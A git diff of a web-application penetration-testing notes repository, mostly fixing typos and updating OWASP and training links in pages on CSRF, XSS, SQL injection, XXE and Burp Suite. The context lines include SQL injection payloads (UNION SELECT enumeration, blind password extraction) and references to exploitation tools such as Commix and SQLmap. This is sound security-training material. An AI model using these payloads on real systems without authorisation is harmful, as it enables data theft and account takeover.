times](https://portswigger.net/web-security/authentication/password-based)
@@ -51,11 +51,11 @@ * Create a shortlist of passwords. Quantity should match the lockout attempts * Use intruder to try each of the passwords with each candidate * Credential Stuffing - * Massive dictionary of username/passwrod pairs + * Massive dictionary of username/password pairs * Account locking does not protect against this * User Rate Limiting * In this case, making too many login requests within a short period of time causes your IP address to be blocked - * Can only be unblocked by: After a certain amount of time, by an admin, by the user after a successful CAPCHA + * Can only be unblocked after a certain amount of time, by an admin, or by the user after a successful CAPTCHA. * HTTP Basic Auth * `Authorization: Basic base64(username:password)` * Easy to decrypt diff --git a/web-app-hacking/attacks-and-vulnerabilities/business-logic-flaws.md b/web-app-hacking/attacks-and-vulnerabilities/business-logic-flaws.md index cb505c8..e90a41e 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/business-logic-flaws.md +++ b/web-app-hacking/attacks-and-vulnerabilities/business-logic-flaws.md @@ -42,7 +42,7 @@ One of the best starting places for looking for logic flaws, is to navigate thr * Always check cookies or local storage to see if any variable is checking if the user should have access to premium features or not. 6. Refund Feature Abuse * Purchase a product (usually some subscription) and ask for a refund to see if the feature is still accessible. - * Try for currency arbitrage explained yesterday. + * Try currency arbitrage when the application handles conversion or pricing logic. * Try making multiple requests for subscription cancellation (race conditions) to see if you can get multiple refunds. 7. Cart/Wishlist Abuse * Add a product in negative quantity with other products in positive quantity to balance the amount. @@ -86,7 +86,7 @@ One of the best starting places for looking for logic flaws, is to navigate thr * **Making flawed assumptions about user behavior** * Trusted users wont always remain trustworthy * [https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-security-controls](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-security-controls) - * Users wont alwasy supply mandatory input + * Users will not always supply mandatory input. * [https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint) * [https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic) * Users wont always follow the intended sequence diff --git a/web-app-hacking/attacks-and-vulnerabilities/command-injection.md b/web-app-hacking/attacks-and-vulnerabilities/command-injection.md index 2fd323a..8d486dd 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/command-injection.md +++ b/web-app-hacking/attacks-and-vulnerabilities/command-injection.md @@ -25,15 +25,15 @@ We know that active command injection occurs when you can see the response from ## **Tools and Resources** -* [Commix](https://github.com/commixproject/commix) - Commix is an open source penetration testing tool that automates the detection and exploitation of [command injection](https://www.owasp.org/index.php/Command\_Injection) vulnerabilities. +* [Commix](https://github.com/commixproject/commix) - Commix is an open source penetration testing tool that automates the detection and exploitation of [command injection](https://owasp.org/www-community/attacks/Command_Injection) vulnerabilities. * [https://www.kali.org/tools/commix/](https://www.kali.org/tools/commix/) * [Command Injection to Meterpreter using Commix](https://www.hackingarticles.in/command-injection-meterpreter-using-commix/) * [Exploit Command Injection Vulnerability with Commix and Netcat](https://www.hackingarticles.in/exploit-command-injection-vulnearbility-commix-netcat/) * [Powershell Injection Attacks using Commix and Magic Unicorn](https://www.hackingarticles.in/powershell-injection-attacks-using-commix-magic-unicorn/) * [Commix-Command Injection Exploiter (Beginner’s Guide)](https://www.hackingarticles.in/commix-command-injection-exploiter-beginners-guide/) -* [OWASP Guide to Command Injection](https://owasp.org/www-community/attacks/Command\_Injection) +* [OWASP Guide to Command Injection](https://owasp.org/www-community/attacks/Command_Injection) * [Comprehensive Guide on OS Command Injection](https://www.hackingarticles.in/comprehensive-guide-on-os-command-injection/) * [payloadbox/command-injection-payload-list](https://github.com/payloadbox/command-injection-payload-list) * [PayloadsAllTheThings/CommandInjection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) * [https://cheatsheetseries.owasp.org/cheatsheets/OS\_Command\_Injection\_Defense\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS\_Command\_Injection\_Defense\_Cheat\_Sheet.html) -* [https://tryhackme.com/room/injection](https://tryhackme.com/room/injection) +* [TryHackMe Injection](https://tryhackme.com/room/injection) - Training resource; canonical training links are maintained in Training. diff --git a/web-app-hacking/attacks-and-vulnerabilities/csrf.md b/web-app-hacking/attacks-and-vulnerabilities/csrf.md index 78d4e1c..fbddae6 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/csrf.md +++ b/web-app-hacking/attacks-and-vulnerabilities/csrf.md @@ -16,9 +16,9 @@ For a CSRF attack to be possible, three key conditions must be in place: * [https://portswigger.net/web-security/csrf/xss-vs-csrf](https://portswigger.net/web-security/csrf/xss-vs-csrf) * [https://portswigger.net/web-security/csrf/tokens](https://portswigger.net/web-security/csrf/tokens) -* [http://tipstrickshack.blogspot.cl/2012/10/how-to-exploit-csfr-vulnerabilitycsrf.html](http://tipstrickshack.blogspot.cl/2012/10/how-to-exploit-csfr-vulnerabilitycsrf.html) -* [https://www.owasp.org/index.php/Testing\_for\_CSRF\_(OTG-SESS-005)](https://www.owasp.org/index.php/Testing\_for\_CSRF\_\(OTG-SESS-005\)) -* [https://www.owasp.org/index.php/Cross-Site\_Request\_Forgery\_(CSRF)](https://www.owasp.org/index.php/Cross-Site\_Request\_Forgery\_\(CSRF\)) +* [How to Exploit CSRF Vulnerabilities](http://tipstrickshack.blogspot.cl/2012/10/how-to-exploit-csfr-vulnerabilitycsrf.html) - Older tutorial; validate examples against current browser behavior. +* [OWASP WSTG: Testing for CSRF](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery) +* [OWASP: Cross-Site Request Forgery](https://owasp.org/www-community/attacks/csrf) * [https://pentestbook.six2dez.com/enumeration/web/csrf](https://pentestbook.six2dez.com/enumeration/web/csrf) * [https://kathan19.gitbook.io/howtohunt/csrf/cross\_site\_request\_forgery\_bypass](https://kathan19.gitbook.io/howtohunt/csrf/cross\_site\_request\_forgery\_bypass) * _Cross-Site Request Forgery - Bug Bounty Hunting Essentials, pg 41_ @@ -47,7 +47,7 @@ For a CSRF attack to be possible, three key conditions must be in place: * [https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie](https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie) * CSRF token is simply duplicated in a cookie * [https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie](https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie) -* Refereer based vulnerabilities +* Referer-based vulnerabilities * [https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present) * [https://portswigger.net/web-security/csrf/lab-referer-validation-broken](https://portswigger.net/web-security/csrf/lab-referer-validation-broken) diff --git a/web-app-hacking/attacks-and-vulnerabilities/http-host-header-attacks.md b/web-app-hacking/attacks-and-vulnerabilities/http-host-header-attacks.md index ad0e173..a25caca 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/http-host-header-attacks.md +++ b/web-app-hacking/attacks-and-vulnerabilities/http-host-header-attacks.md @@ -78,7 +78,7 @@ ## **HTTP Header Attacks** -**\*\*\*** In Burp Suite, you can use the [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) extension's "Guess headers" function to automatically probe for supported headers using its extensive built-in wordlist.\*\*\* +In Burp Suite, you can use the [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) extension's "Guess headers" function to automatically probe for supported headers using its extensive built-in wordlist.
diff --git a/web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md b/web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md index 5163983..0285508 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md +++ b/web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md @@ -34,5 +34,4 @@ h2csmuggler.py -x https://example.com/ --test This is how I was able to exploit a HTTP Request Smuggling in some Mobile Device Management (MDM) servers and send any MDM command to any device enrolled on them for a private bug bounty program. * [https://www.intruder.io/research/practical-http-header-smuggling](https://www.intruder.io/research/practical-http-header-smuggling) - Modern web applications typically rely on chains of multiple servers, which forward HTTP requests to one another. The attack surface created by this forwarding is increasingly receiving more attention, including the recent popularisation of cache poisoning and request smuggling vulnerabilities. Much of this exploration, especially recent request smuggling research, has developed new ways to hide HTTP request headers from some servers in the chain while keeping them visible to others – a technique known as "header smuggling". This paper presents a new technique for identifying header smuggling and demonstrates how header smuggling can lead to cache poisoning, IP restriction bypasses, and request smuggling. * [https://docs.google.com/presentation/d/1DV-VYkoEsjFsePPCmzjeYjMxSbJ9PUH5EIN2ealhr5I/](https://docs.google.com/presentation/d/1DV-VYkoEsjFsePPCmzjeYjMxSbJ9PUH5EIN2ealhr5I/) - Two Years Ago @albinowax Shown Us A New Technique To PWN Web Apps So Inspired By This Technique AND @defparam's Tool , I Have Been Collecting A Lot Of Mutations To Achieve Request Smuggling. -* [https://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142](https://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142) * [https://www.slideshare.net/neexemil/http-request-smuggling-via-higher-http-versions](https://www.slideshare.net/neexemil/http-request-smuggling-via-higher-http-versions) diff --git a/web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md b/web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md index a599235..3eaad21 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md +++ b/web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md @@ -6,10 +6,10 @@ ## Basics -[https://owasp.org/www-project-top-ten/2017/A5\_2017-Broken\_Access\_Control.html](https://owasp.org/www-project-top-ten/2017/A5\_2017-Broken\_Access\_Control.html)\ +[OWASP Top 10: Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\ \ For example, let's say we're logging into our bank account, and after correctly authenticating ourselves, we get taken to a URL like this [https://example.com/bank?account\_number=1234](https://example.com/bank?account\_number=1234). On that page we can see all our important bank details, and a user would do whatever they needed to do and move along their way thinking nothing is wrong.\ -There is however a potentially huge problem here, a hacker may be able to change the account\_number parameter to something else like 1235, and if the site is incorrectly configured, then he would have access to someone else's bank information. +There is however a potentially huge problem here: an attacker may be able to change the `account_number` parameter to something else like `1235`, and if the site is incorrectly configured, then they would have access to someone else's bank information. ### **How to Find** diff --git a/web-app-hacking/attacks-and-vulnerabilities/owasp-7-xss-cross-site-scripting.md b/web-app-hacking/attacks-and-vulnerabilities/owasp-7-xss-cross-site-scripting.md index 809cf46..191f9d6 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/owasp-7-xss-cross-site-scripting.md +++ b/web-app-hacking/attacks-and-vulnerabilities/owasp-7-xss-cross-site-scripting.md @@ -48,7 +48,7 @@ Cross-site scripting (also known as XSS) is a web security vulnerability that al * [https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords) * Performing CSRF - Anything a legitimate user can do on a web site, you can probably do too with XSS. Depending on the site you're targeting, you might be able to make a victim send a message, accept a friend request, commit a backdoor to a source code repository, or transfer some Bitcoin. Some websites allow logged-in users to change their email address without re-entering their password. If you've found an XSS vulnerability, you can make it trigger this functionality to change the victim's email address to one that you control, and then trigger a password reset to gain access to the account. * [https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf) -* Self XSS - When a user is tricked into executing XSS on themsleves. +* Self XSS - When a user is tricked into executing XSS on themselves. * [https://www.youtube.com/watch?v=l3yThCIF7e4](https://www.youtube.com/watch?v=l3yThCIF7e4) {% endtab %} @@ -215,7 +215,7 @@ XSS in HTML tag attributes. - When the XSS context is into an HTML tag attribut * [https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-url-some-characters-blocked](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-url-some-characters-blocked) * Making use of HTML encoding - When the XSS context is some existing JavaScript within a quoted tag attribute, such as an event handler, it is possible to make use of HTML-encoding to work around some input filters. When the browser has parsed out the HTML tags and attributes within a response, it will perform HTML-decoding of tag attribute values before they are processed any further. If the server-side application blocks or sanitizes certain characters that are needed for a successful XSS exploit, you can often bypass the input validation by * [https://portswigger.net/web-security/cross-site-scripting/contexts/lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped) -* XSS in JavaScrit Template Literals - JavaScript template literals are string literals that allow embedded JavaScript expressions. The embedded expressions are evaluated and are normally concatenated into the surrounding text. Template literals are encapsulated in backticks instead of normal quotation marks, and embedded expressions are identified using the `${...}` syntax +* XSS in JavaScript Template Literals - JavaScript template literals are string literals that allow embedded JavaScript expressions. The embedded expressions are evaluated and are normally concatenated into the surrounding text. Template literals are encapsulated in backticks instead of normal quotation marks, and embedded expressions are identified using the `${...}` syntax. * [https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped) {% endtab %} diff --git a/web-app-hacking/attacks-and-vulnerabilities/sql-injection/README.md b/web-app-hacking/attacks-and-vulnerabilities/sql-injection/README.md index 9d3c47a..4e6e954 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/sql-injection/README.md +++ b/web-app-hacking/attacks-and-vulnerabilities/sql-injection/README.md @@ -7,7 +7,7 @@ * [https://www.sqlinjection.net/](https://www.sqlinjection.net/) * [https://owasp.org/www-community/attacks/SQL\_Injection](https://owasp.org/www-community/attacks/SQL\_Injection) * [https://owasp.org/www-community/Injection\_Flaws](https://owasp.org/www-community/Injection\_Flaws) -* [http://securityidiots.com/Web-Pentest/SQL-Injection/Part-1-Basic-of-SQL-for-SQLi.html](http://securityidiots.com/Web-Pentest/SQL-Injection/Part-1-Basic-of-SQL-for-SQLi.html) +* [SecurityIdiots SQLi basics](http://securityidiots.com/Web-Pentest/SQL-Injection/Part-1-Basic-of-SQL-for-SQLi.html) - Older tutorial; verify examples against current DBMS behavior. * [https://www.w3schools.com/sql/default.asp](https://www.w3schools.com/sql/default.asp) * [https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423](https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423) * [https://cheatsheetseries.owasp.org/cheatsheets/Injection\_Prevention\_Cheat\_Sheet.html#sql-injection](https://cheatsheetseries.owasp.org/cheatsheets/Injection\_Prevention\_Cheat\_Sheet.html#sql-injection) @@ -23,7 +23,7 @@ * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) * [https://github.com/payloadbox/sql-injection-payload-list/](https://github.com/payloadbox/sql-injection-payload-list/) * [https://websec.ca/kb/sql\_injection](https://websec.ca/kb/sql\_injection) -* [http://pentestmonkey.net/category/cheat-sheet/sql-injection](http://pentestmonkey.net/category/cheat-sheet/sql-injection) +* [Pentestmonkey SQL injection cheat sheets](http://pentestmonkey.net/category/cheat-sheet/sql-injection) - Older but still widely referenced. * [https://www.codecademy.com/articles/sql-commands](https://www.codecademy.com/articles/sql-commands) {% endtab %} {% endtabs %} @@ -32,7 +32,7 @@ [sql-tips-and-tricks.md](sql-tips-and-tricks.md) {% endcontent-ref %} -## ****[**SQLmap**](https://github.com/sqlmapproject/sqlmap) **** +## [SQLmap](https://github.com/sqlmapproject/sqlmap) SQL Injection tool that can spawn a meterpreter or VNC session back to attacker. Can return a decent number of false positives. Always verify. If you do not specify a value, SQLmap will attempt all by default @@ -42,11 +42,10 @@ SQL Injection tool that can spawn a meterpreter or VNC session back to attacker. * Maps out and locates admin panel * Query dorking for finding targets * hash lookup -* [https://www.binarytides.com/sqlmap-hacking-tutorial/](https://www.binarytides.com/sqlmap-hacking-tutorial/) * [https://github.com/sqlmapproject/sqlmap/wiki/Usage](https://github.com/sqlmapproject/sqlmap/wiki/Usage) -* __[https://www.binarytides.com/sqlmap-hacking-tutorial/](https://www.binarytides.com/sqlmap-hacking-tutorial/) +* [https://www.binarytides.com/sqlmap-hacking-tutorial/](https://www.binarytides.com/sqlmap-hacking-tutorial/) * [https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423](https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423) -* [https://tryhackme.com/room/sqlmap](https://tryhackme.com/room/sqlmap) +* [TryHackMe sqlmap](https://tryhackme.com/room/sqlmap) - Training resource; canonical training links are maintained in Training. * _RTFM: SQLMap - pg. 71_ * _Operator Handbook: SQLMap - pg. 284_ {% endtab %} @@ -147,13 +146,13 @@ Test if sql inject is valid (will return banner on success) * [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server * [https://github.com/NetSPI/PowerUpSQL/wiki](https://github.com/NetSPI/PowerUpSQL/wiki) * [https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet) -* [**SQLninja**](http://sqlninja.sourceforge.net/)**** +* [SQLninja](http://sqlninja.sourceforge.net/) - Older SQL Server exploitation tool; verify current usefulness before relying on it. * [https://www.jedge.com/wordpress/sqlninja-sql-injection/](https://www.jedge.com/wordpress/sqlninja-sql-injection/) * Great for evading IDS and uploading shells * Often times IDS will either recognize SQLmap OR SQLninja but not both * With SQLninja you must specify the vulnerable variable to inject. * Takes more to set up with manipulation of the config file. -* ****[**NOSQLmap**](https://github.com/codingo/NoSQLMap)**** +* [NOSQLmap](https://github.com/codingo/NoSQLMap) * Used for NOSQL databases * [https://github.com/torque59/Nosql-Exploitation-Framework](https://github.com/torque59/Nosql-Exploitation-Framework) * [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli) diff --git a/web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md b/web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md index 1c1a719..d980d05 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md +++ b/web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md @@ -6,11 +6,11 @@ SQL injection can be detected manually by using a systematic set of tests agains * Submitting the single quote character `'` and looking for errors or other anomalies. * Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting application responses. -* Submitting Boolean conditions such as `OR 1=1` and `OR 1=2, and` looking for differences in the application's responses. +* Submitting Boolean conditions such as `OR 1=1` and `OR 1=2`, then looking for differences in the application's responses. * Submitting payloads designed to trigger time delays when executed within an SQL query, and looking for differences in the time taken to respond. * Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitoring for any resulting interactions. -### **Determine DB Verison** +### **Determine DB Version** * Different databases provide different ways of querying their version. You often need to try out different queries to find one that works, allowing you to determine both the type and version of the database software * MySQL - SELECT @@version @@ -37,7 +37,7 @@ SQL injection can be detected manually by using a systematic set of tests agains * SELECT \* FROM all\_tables * And you can list columns by querying all\_tab\_columns: * SELECT \* FROM all\_tab\_columns WHERE table\_name = 'USERS' -* We can also get it using a UNION SELECT query (Exmaple for a 5 column table) +* We can also get it using a UNION SELECT query. Example for a five-column table: * `input' UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema=database()#` * [https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle) * [https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle) @@ -56,8 +56,7 @@ SQL injection can be detected manually by using a systematic set of tests agains * The \* from the above SELECT query can be replaced with whichever piece of information you like from the information\_schema.tables table, such as TABLE\_SCHEMA, TABLE\_NAME, TABLE\_TYPE. * Once information regarding the tables in the database has been discovered, it becomes possible to query the tables for their columns. This can be achieved using the following syntax: * SELECT \* FROM information\_schema.columns WHERE table\_name='Table' -* We can do this with t -* Or we can also get it using a UNION SELECT query: +* You can also retrieve column names using a UNION SELECT query: * \ `input' UNION SELECT 1,group_concat(column_name, 0x0a),3,4,5 FROM information_schema.columns WHERE table_name="customers"#` diff --git a/web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-methodology.md b/web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-methodology.md index df276ce..ad9fb3d 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-methodology.md +++ b/web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-methodology.md @@ -2,7 +2,7 @@ ## **Types of SQL Databases** -* Mysql +* MySQL * MSSQL * PostgreSQL - v9.5 and earlier * [https://www.pcwdld.com/sql-cheat-sheet](https://www.pcwdld.com/sql-cheat-sheet) @@ -13,8 +13,8 @@ * Unstructured Data, grows horizontally * Vulnerabilities generally exist where a string is parsed or evaluated into a NoSQL call. * Vulnerability injections occur when: - * Endpoints accepts JSON data in the request to NoSQL databaseS - * We are able to maniPulate the query using NoSQL comparison operators to change the NoSQL query + * Endpoints accept JSON data in the request to NoSQL databases. + * You can manipulate the query using NoSQL comparison operators to change the NoSQL query. * [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html) * [https://www.owasp.org/index.php/Testing\_for\_NoSQL\_injection](https://www.owasp.org/index.php/Testing\_for\_NoSQL\_injection) * SQL Platform Commands @@ -34,16 +34,16 @@ ## Classic Error-based SQLi -This type is SQLi uses error-messages returned from the database as the method to gather information about the backend itself. For more information, see the Basics section above +This type of SQLi uses database error messages to gather information about the backend. ## **UNION SQL Injection** -The SQL `UNION` operator is used to combine the result set of two or more `SELECT` statements, appending the results on the end of the original query. **** An attacker can leverage the SQL vulnerability and find information from other database tables using the `UNION` keyword. +The SQL `UNION` operator is used to combine the result set of two or more `SELECT` statements, appending the results on the end of the original query. An attacker can leverage the SQL vulnerability and find information from other database tables using the `UNION` keyword. ### **UNION Operators** * The UNION operator, is a method that allows a query to retrieve data from other tables within the database -* The UNION operator allows you to execute one or more additional SELECT queties and append the results to the original query +* The UNION operator allows you to execute one or more additional SELECT queries and append the results to the original query. * In order to work, UNION queries have two key requirements * The individual queries must return the same number of columns. * The data types in each column must be compatible between the individual queries. @@ -60,7 +60,7 @@ The SQL `UNION` operator is used to combine the result set of two or more `SELEC * This series of payloads modifies the original query to order the results by different columns in the result set. The column in an ORDER BY clause can be specified by its index, so you don't need to know the names of any columns. When the specified column index exceeds the number of actual columns in the result set, the database returns an error * The application might actually return the database error in its HTTP response, or it might return a generic error, or simply return no results. Provided you can detect some difference in the application's response, you can infer how many columns are being returned from the query. * Method 2 - Submitting a series of UNION SELECT payloads specifying a different number of null values: - * Start by using expanding null satements to find the number of columns + * Start by expanding `NULL` statements to find the number of columns. * ' UNION SELECT NULL-- * ' UNION SELECT NULL,NULL-- * ' UNION SELECT NULL,NULL,NULL-- @@ -142,7 +142,7 @@ Blind SQL comes in to types: * xyz' UNION SELECT 'a' WHERE 1=2-- * Example: * xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'-- - * If this returns with the positive conditional statement, the first character of the password is create than ‘m’ + * If this returns the positive conditional statement, the first character of the password is greater than `m`. * xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'-- * If this does not return with the positive conditional statement, the first character is less than ‘t’ * Repeat until the entire password is discovered @@ -173,7 +173,7 @@ Blind SQL comes in to types: -### **Blind SQL Inejction with OAST techniques** +### **Blind SQL Injection with OAST techniques** * OAST - Out-of-band Application Security Testing * When will standard SQL injection not work? diff --git a/web-app-hacking/attacks-and-vulnerabilities/web-cache-poisoning.md b/web-app-hacking/attacks-and-vulnerabilities/web-cache-poisoning.md index ef42f1f..fba9f59 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/web-cache-poisoning.md +++ b/web-app-hacking/attacks-and-vulnerabilities/web-cache-poisoning.md @@ -4,7 +4,7 @@ ### **Basics** -* **** Web cache poisoning is an advanced technique whereby an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users. +* Web cache poisoning is an advanced technique whereby an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users. * The cache sits between the server and the user, where it saves (caches) the responses to particular requests, usually for a fixed amount of time. If another user then sends an equivalent request, the cache simply serves a copy of the cached response directly to the user, without any interaction from the back-end. * Cache Keys - Caches identify equivalent requests by comparing a predefined subset of the request's components, known collectively as the "cache key". Typically, this would contain the request line and `Host` header. Components of the request that are not included in the cache key are said to be "unkeyed". * If the cache key of an incoming request matches the key of a previous request, then the cache considers them to be equivalent. As a result, it will serve a copy of the cached response that was generated for the original request. This applies to all subsequent requests with the matching cache key, until the cached response expires. @@ -17,7 +17,7 @@ * [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Web%20Cache%20Poisoning.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Web%20Cache%20Poisoning.md) * [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/) -## **Constructing a web poisoning attack** +## **Constructing a web cache poisoning attack** ### Identify and evaluate unkeyed inputs diff --git a/web-app-hacking/attacks-and-vulnerabilities/xxe-xml-external-entity-attacks.md b/web-app-hacking/attacks-and-vulnerabilities/xxe-xml-external-entity-attacks.md index 9cefe3d..1f92518 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/xxe-xml-external-entity-attacks.md +++ b/web-app-hacking/attacks-and-vulnerabilities/xxe-xml-external-entity-attacks.md @@ -3,7 +3,7 @@ {% tabs %} {% tab title="Tools and Resources" %} * [PayloadsAllTheThings/XXEInjection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#classic-xxe) -* [XEE Payload collection](https://gist.github.com/staaldraad/01415b990939494879b4) +* [XXE Payload collection](https://gist.github.com/staaldraad/01415b990939494879b4) * [XXEinjector](https://github.com/enjoiz/XXEinjector) - XXEinjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. * [xxe-recursive-download](https://github.com/AonCyberLabs/xxe-recursive-download) - This tool exploits XXE to retrieve files from a target server. It obtains directory listings and recursively downloads file contents. * [https://xapax.github.io/security/#attacking\_web\_applications/xml\_external\_entity\_attack/](https://xapax.github.io/security/#attacking\_web\_applications/xml\_external\_entity\_attack/) diff --git a/web-app-hacking/burp-suite.md b/web-app-hacking/burp-suite.md index c76c587..748c336 100644 --- a/web-app-hacking/burp-suite.md +++ b/web-app-hacking/burp-suite.md @@ -1,8 +1,8 @@ # Burp Suite -## [**Burp**](https://portswigger.net/burp) **** +## [Burp](https://portswigger.net/burp) -The Leading Web application testing tool on the market. Has a community edition that is free and handy for basic web app testing and CTF level functionality. Also has a pro version that has advanced features like a powerful brute forcing too, vulnerability scanner and access to more extensions. +The leading web application testing tool on the market. Burp has a free Community edition for basic web app testing and CTF workflows, and a Professional edition with a stronger Intruder, active scanner, Collaborator support, and access to more extensions. {% tabs %} {% tab title="Guides and Support Tools" %} @@ -50,7 +50,7 @@ The Leading Web application testing tool on the market. Has a community edition * [https://portswigger.net/burp/documentation/desktop/options](https://portswigger.net/burp/documentation/desktop/options) * [https://www.hackingarticles.in/burp-suite-for-pentester-burps-project-management/](https://www.hackingarticles.in/burp-suite-for-pentester-burps-project-management/) * [https://www.youtube.com/watch?v=CdcJcdp-ObQ](https://www.youtube.com/watch?v=CdcJcdp-ObQ) -* Collaborater - Burp Collaborator is a network service that Burp Suite uses to help discover many kinds of vulnerabilities. +* Collaborator - Burp Collaborator is a network service that Burp Suite uses to help discover many kinds of vulnerabilities. * [https://portswigger.net/burp/documentation/collaborator](https://portswigger.net/burp/documentation/collaborator) * [https://www.hackingarticles.in/burp-suite-for-pentester-burp-collaborator/](https://www.hackingarticles.in/burp-suite-for-pentester-burp-collaborator/) {% endtab %} @@ -74,7 +74,7 @@ The Leading Web application testing tool on the market. Has a community edition {% tab title="Multi-Vuln Scanners" %} * [HUNT](https://github.com/bugcrowd/HUNT) - HUNT Suite is a collection of Burp Suite Pro/Free and OWASP ZAP extensions, collected by Bug Crowd. * [BurpBounty](https://github.com/wagiro/BurpBounty) - This Burp Suite extension allows you, in a quick and simple way, to improve the active and passive Burp Suite scanner by means of personalized rules through a very intuitive graphical interface. - * [Burp Bounty Pro](https://burpbounty.net/) - Premium bundle of vulnerabilites to scan for. + * [Burp Bounty Pro](https://burpbounty.net/) - Premium bundle of vulnerability profiles to scan for. * [VulnersScan](https://github.com/vulnersCom/burp-vulners-scanner) - Burp Suite scanner plugin based on [Vulners.com](https://vulners.com) vulnerability database API * Same thing as [https://portswigger.net/bappstore/c9fb79369b56407792a7104e3c4352fb](https://portswigger.net/bappstore/c9fb79369b56407792a7104e3c4352fb) * [Active Scan++](https://portswigger.net/bappstore/3123d5b5f25c4128894d97ea1acc4976) - Burp Scanner automates the task of scanning web sites for content and vulnerabilities. Depending on configuration, the Scanner can 